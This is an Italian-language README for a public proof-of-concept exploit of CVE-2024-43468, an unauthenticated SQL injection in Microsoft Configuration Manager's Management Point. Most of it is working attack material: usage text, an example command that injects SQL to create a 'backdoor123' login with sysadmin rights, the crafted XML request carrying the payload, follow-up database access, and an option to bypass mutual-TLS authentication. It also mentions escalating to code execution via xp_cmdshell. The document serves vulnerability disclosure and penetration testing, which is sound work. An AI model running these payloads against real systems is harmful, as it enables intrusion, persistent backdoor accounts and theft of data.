synacktiv/cve-2024-43468
Questo script sfrutta la CVE-2024-43468 che consente a un attaccante non autenticato, con accesso di rete a un Management Point, di eseguire query SQL arbitrarie sul database del sito.
Poiché le query vengono eseguite con l'identità dell'account macchina del MP, a cui è concesso il ruolo sysadmin, è banale elevare l'injection SQL a esecuzione remota di codice (ad esempio con xp_cmdshell).
Quando KB29166583 non è installato, tutte le seguenti versioni di Microsoft Configuration Manager sono vulnerabili:
Per maggiori dettagli, fare riferimento all'advisory associato disponibile all'indirizzo https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections
--altauth (maggiori informazioni qui)$ python3 CVE-2024-43468.py --help
usage: CVE-2024-43468.py [-h] -t TARGET -sql SQL [-machineid MACHINEID] -k KEY -c CERT
SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target (http[s]://sccm-mp.local/)
-sql SQL Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )
-machineid MACHINEID A valid MachineID for the second SQL injection via ContentID
-k KEY, --key KEY Private key file for mutual TLS
-c CERT, --cert CERT Certificate file for mutual TLS
$ python3 CVE-2024-43468.py -t http://sccm.local -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="556" Offset="0" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{00000000-0000-0000-0000-000000000000}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]MP_LocationManager</TargetAddress><TargetEndpoint>MP_LocationManager</TargetEndpoint><TargetHost>http://sccm.local</TargetHost><Timeout>60000</Timeout><SourceID>GUID:3b47a05a-db2e-40ef-8c77-cf29dac2ca1e'; create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin' ; select '1 </SourceID></Msg>
>>>> Request <<<<<
<UpdateSFRequest><Package ID="UID:060cb19a-4dde-4c6a-b08b-7fee96c4824b" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
$ mssqlclient.py -debug './backdoor123:P@sswOrd1'@sccm-db.local
SQL (backdoor123 dbo@master)> use CM_ABC
SQL (backdoor123 dbo@CM_ABC)> select Name0 from v_R_System
Name0
------
DC
$ python3 CVE-2024-43468.py -t https://sccm.local -sql "..."
[...]
>>>> Response : 403 Client certificate required <<<<<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
$ python3 CVE-2024-43468.py -k any_client1.key -c any_client1.pem -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
Bypassare l'autenticazione mTLS con il segmento altauth (maggiori informazioni qui)
$ python3 CVE-2024-43468.py --altauth -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--